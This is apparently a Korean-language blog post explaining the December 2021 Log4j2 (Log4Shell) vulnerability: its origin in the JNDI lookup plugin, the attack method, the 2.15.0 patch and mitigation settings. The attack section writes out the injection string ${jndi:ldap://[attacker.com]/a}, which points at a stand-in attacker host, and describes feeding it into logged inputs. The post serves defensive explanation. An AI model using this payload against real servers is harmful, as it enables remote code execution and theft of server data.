LOG4J2 RCE VULNERABILITY
2021년 12월 9일, Java에서 가장 유명한 Logger 패키지인 Log4j2 내에 엄청난 취약점이 발견되어 전 세계적으로 떠들썩하고, 앞으로도 많이 회자되는 사건일 듯 싶습니다.
미국 보안업체 Tenable에서는, 예전 인텔 CPU게이트 사건보다 더 심각한 문제라고 언급하며 아파치 소프트웨어재단에서는 이 취약점 위험단계 중 최고조인 10점을 부여하는 것 보니 예사로운 취약점 발견은 아닌 것 같습니다.
그도 그럴 것이, Java 기반의 웹 어플리케이션들은 디버깅이든 어떤 목적으로든 Log4j를 정말 대중적으로 써 왔고, 심지어 온라인 게임 시스템/어플리케이션에도 심어져 있으니 이 영향력은 어마어마하다고 해도 과언이 아니며 아래 다시 서술하겠지만, LDAP Lookup 만으로 서버정보 탈취, 접속만으로 원격통제가 가능하다고 하니 이만큼 위험한 취약점은 유래를 찾을 수 없다고 보여집니다.
그럼, 해당 사건의 발단과 원인부터 파악해보고자 합니다.
발단과 원인
발단
한국시간으로 2021년 12월 10일 새벽 4시 15분, 마인프래프트 통신 서버를 개발하는 PaperMC라는 회사에서 해당 취약점을 이용한 대규모 해킹 시도를 포착하였고, 자사 Discord를 통해 공지하며 위와 같은 사실을 전 세계에 알리게 되었습니다.
문제는, 이러한 사실이 밝혀지기 수 일 전부터 시도가 있었던 것으로 추정되고 있으며 이를 확장하면, 공격자들은 이 사실을 미리 알고 보여지지 않을 뿐 타사 시스템들 또한 건드렸을 가능성이 농후하다고 볼 수 있습니다.
원인
이번 취약점의 역사는 2013년까지 거슬러 올라갑니다.
당시 Log4j 2.x버전을 배포하면서 JNDILookup plugin 을 패키지에 추가하게 되는데, 이게 이번 사건의 원흉이 됩니다.
이 전에 JNDI와 LDAP라는 2가지 개념을 잡아야 합니다.
JNDI는 쉽게 말해서, Java 코드만으로 디렉토리 상의 data를 찾을 수 있게 해주는 기능이라고 말할 수 있으며
LDAP는 Lightweight Directory Access Protocol라고 하여 네트워크 상에서 컴퓨터 내의 파일 혹은 디바이스 정보를 찾아볼 수 있도록 해주는 일종의 응용 프로토콜입니다. 특이한 점은 해당 기능을 Another Machine, 혹은 Enable Anywhere on the Internet이라는 점입니다.
두 개념을 혼합하면 어떻게 될까요?
ldap://[somewhere.com]/~ 주소라고 입력하면, 공격자가 임의로 만든 [somewhere.com]/a 주소 내 소스를 찾아줍니다. 이건 어떤 머신, 어떤 인터넷 주소라도 끌어올 수 있습니다.
이걸 jndi로 묶어준다면, 해당 명령어를 실행하는 서버에서 somewhere.com/a 에 해당하는 프로그램을 실행할 수 있습니다... 실로 무서운 기능입니다.
공격방법은 위 개념과 log4j의 기능을 알고나면 엄청 쉽습니다.
- 공격하고자 하는 서버의 정보를 알아냅니다. (curl 등을 사용한 IP주소, 포트번호 등등)
- ${jndi:ldap://[attacker.com]/a} 명령어를 입력합니다.
- 이 명령어가 Log4j 취약점의 핵심입니다.
- Log4j는 Special Syntax
${prefix:name}
를 사용하고 있습니다. 쉽게 예로 말하자면${java:version}
은 현재 서버에서 사용하고 있는 java의 version을 반환하는 값이라고 할 수 있습니다. - log4j 상에서
${java:version}
이라고 하면 java에서 -version 옵션을 킨 것 마냥oracle jdk 1.8u232
라는 로그를 얻을 수 있습니다. - 문제는, 2013년 log4j2 패키지 업데이트 안에 jndi lookup 기능을 java같은 옵션처럼 사용할 수 있도록 추가해줬다는 사실입니다.
- 결국 log4j에서
${jndi:~}
를 실행한다면 log4j configuration으로 사용 가능할 뿐 아니라(실제로 Java Lookup 기능이 실행된다.) 로그로 보여질 수 있습니다.
이제 Attacker들은 무엇을 할 수 있냐면, URL상에서 parameter로 넣은 input들을 log 상에서 출력하는 경로만 찾으면 됩니다. 거기에 input 값으로 ${jndi:ldap://[attacker.com]/a}
만 넣으면 되니까요.
저 [attacker.com]/a
에 공격대상 서버 안에 있는 정보를 끌어낼 수 있는 코드를 심는다면 그 뒤로는 게임 끝이겠지요. 실제로 System 관리자 레벨 급의 권한을 받을 수도 있다고 합니다…
보완과 대응방안
패키지 보완 완료
해당 취약점이 발견되자마자 log4j2 개발자인 가 바로 보완하여 2.15.0 버전을 배포하였고, 대부분의 대기업들은 패치가 완료되었다고 한다. (네이버는 금요일에 바로 전사적으로 패치 완료하고 퇴근하였다고…역시…)
하여, Github에서 어떻게 패치되었는지 살짝 알아보았다.
먼저, 이 static class는 JndiManager 클래스 안에 있는 JndiManagerFactory라는 Factory로서, jndi:로 들어온 properties들을 JndiManager 객체에 넣어 반환하는 역할을 합니다..
기존에는 new InitialContext로 단순히 데이터만 Constructor 인자로 넘겼다면, 새로 패치된 내용에서는 allowedHosts, allowedClasses List를 추가하여 기존 Properties에서 jndi를 사용할 수 있도록 허용된 객체만 가능하도록 제한하려는 의도를 볼 수 있습니다.
이 코드는 JndiManeger 클래스 안에서 실질적으로 lookup을 수행하는 Method 앞부분으로 LDAP 프로토콜이 적용된 uri를 감지했을 때 ldap는 허용하지 않는다는 warn 로그를 남기면서 실행을 중지하게 합니다.
두 소스코드를 받쳐주는 여러 추가된 코드들이 있지만 위 두 코드가 가장 중요해 보여 이렇게 부분적으로나마 가져와봤습니다.
전체적인 수정사항을 확인하고 싶으신 분들은
https://github.com/apache/logging-log4j2/
에서 LOG4J2-3201 패치 버전을 확인하시면 좋을 것 같습니다.
패키지 사용자 대응방안
지금 네이버 뿐만 아니라 국내외 대부분의 웹 프로그램들은 Spring을 사용하고 로깅 패키지로 Log4j2를 사용하고 있어서 패치가 필수적이다. 특히 금융권들은 주말이고 뭐고 바로 출근해서 업뎃해야 합니다. (꼭!!)
[대응방안]
- Log4J2 버전을 2.15.0 으로 패치하는 방법
- 2.10 버전을 쓰는 경우, System Property에서
log4j2.formatMsgNoLookups
옵션을true
로 지정하거나 classpath에서 JndiLookup class를 except하는 방법 - jdk 1.8 이상을 쓰는 경우,
com.sun.jndi.rmi.object.trustURLCodebase
->false
com.sun.jndi.cosnaming.object.trustURLCodebase
->false
로 설정하는 방법
그 이하(jdk 1.7 or Log4j2 <= 2.10)는… 어떻게든 업그레이드 하는 것 뿐……
(회사에서 내 담당인 C로 이루어져 있는 낙후된 웹서버는 신경 쓸 필요도 없는데… 다행이라고 해야하나ㅠㅠ)